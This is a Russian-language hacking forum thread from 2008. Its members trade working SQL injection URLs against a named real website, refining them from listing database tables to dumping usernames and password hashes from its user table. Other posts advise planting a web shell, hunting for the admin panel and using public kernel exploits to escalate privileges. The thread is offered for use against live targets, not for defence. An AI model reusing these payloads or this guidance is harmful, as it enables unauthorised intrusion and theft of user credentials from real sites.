Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|
05.10.2008, 15:27
|
|
Leaders of Antichat - Level 4
Регистрация: 26.11.2006
Сообщений: 237
Провел на форуме:
13395217
Репутация:
2097
|
|
Код:
http://tinymce.moxiecode.com/changelog.php?id=8+union+select+1,2,3,4,5,6,concat(table_name,0x3a,table_schema),8+from+information_schema.tables/*
punbb_users:tinymce_punbb
__________________
Не занимаюсь коммерцией в любых ее проявлениях.
|
|
|
05.10.2008, 16:12
|
|
Постоянный
Регистрация: 21.08.2008
Сообщений: 302
Провел на форуме:
458686
Репутация:
-25
|
|
Сообщение от l-l00K
Код:
http://tinymce.moxiecode.com/changelog.php?id=8+union+select+1,2,3,4,5,6,concat(table_name,0x3a,table_schema),8+from+information_schema.tables/*
punbb_users:tinymce_punbb Почему не работает???
http://tinymce.moxiecode.com/changelog.php?id=8+union+select+1,2,3,4,5,6,concat _ws(0x3a,username,user_password),8+from+tinymce.ti nymce_punbb/**/
|
|
|
|
05.10.2008, 16:18
|
|
AMA - Level 2
Регистрация: 10.06.2006
Сообщений: 1,113
Провел на форуме:
17668503
Репутация:
5826
|
|
Сообщение от geforce
Почему не работает???
http://tinymce.moxiecode.com/changelog.php?id=8+union+select+1,2,3,4,5,6,concat _ws(0x3a,username,user_password),8+from+tinymce.ti nymce_punbb/**/
Вот так наверное:
Код:
http://tinymce.moxiecode.com/changelog.php?id=8+union+select+1,2,3,4,5,6,concat_ws(0x3a,username,password),8+from+tinymce_punbb.punbb_users
punbb_users - таблица с пользователями
tinymce_punbb - БД в которой лежит эта таблица
|
|
|
|
05.10.2008, 22:23
|
|
Новичок
Регистрация: 18.08.2008
Сообщений: 8
Провел на форуме:
56704
Репутация:
5
|
|
имеется сайт с sql injection. если у пользователся нет file_priv и адрес админки невозможно найти, то вообще бесполезно что-то пытаться сделать?
к примеру хотел залишь шелл, но ведь нет прав на файлы у юзверя 
тоесть load_file()
into dumpfile отказываются работать
у юзера есть права только на одну базу данных. к mysql.user доступа не имеет
Последний раз редактировалось dArKkNiGHt; 05.10.2008 в 22:58..
|
|
|
|
05.10.2008, 23:14
|
|
Постоянный
Регистрация: 01.01.2007
Сообщений: 796
Провел на форуме:
2693408
Репутация:
861
|
|
dArKkNiGHt,
https://forum.antichat.ru/threadnav34338-1-10.html
Вот это попробуй. И поищи какой-нить форум, или гестбуку или хоть что-то, за что можно зацепица. И попробуй погуглить админку  |
|
|
|
06.10.2008, 18:56
|
|
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
Провел на форуме:
1469161
Репутация:
142
|
|
Сообщение от n0ne
Надеюсь, на твои вопросы ответил, ибо вообще их не понял)
Я не говорил,что лоад фаил должен исполнять пхп код(нафига?).Я просто не понял,какой ты именно инклуд имел(я знаю только PHP include bug),и параллельно задал вопрос про лоад фаил.При запросе file_priv выводит Y,то бишь есть,а файлы не читаются(ни один) с помощью лоад файла,вот и всё.А спросил потому,что встретился с таким только пару раз.
|
|
|
|
06.10.2008, 20:35
|
|
Постоянный
Регистрация: 01.01.2007
Сообщений: 796
Провел на форуме:
2693408
Репутация:
861
|
|
Велемир, ну, тогда, сложно так сказать. Надо смотреть сайты сами. Если интересно - постучи в асю или скинь линки в личку - посмотрим что там |
|
|
|
06.10.2008, 22:56
|
|
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
Провел на форуме:
1469161
Репутация:
142
|
|
Последний раз редактировалось Велемир; 06.10.2008 в 22:58..
|
|
|
|
06.10.2008, 22:57
|
|
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
Провел на форуме:
1469161
Репутация:
142
|
|
Сообщение от n0ne
Велемир, ну, тогда, сложно так сказать. Надо смотреть сайты сами. Если интересно - постучи в асю или скинь линки в личку - посмотрим что там Я бы и рад дать сайтег,но он не содержания аля пиво.ру ((.Придётся,видимо,разбират ся самому(((.Всё равно спасибо
|
|
|
|
07.10.2008, 00:23
|
|
Постоянный
Регистрация: 01.01.2007
Сообщений: 796
Провел на форуме:
2693408
Репутация:
861
|
|
Велемир, юзай сплойт под это ядро. Оно довольно старое. Можешь опять же списаца со мной в асе - помогу. Или юзай milw0rm.com и packetstormsecurity.net
з.ы. какой веб-шелл - значения не имеет. В любом случае для поднятия прав нужно ssh
Последний раз редактировалось n0ne; 07.10.2008 в 00:39..
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
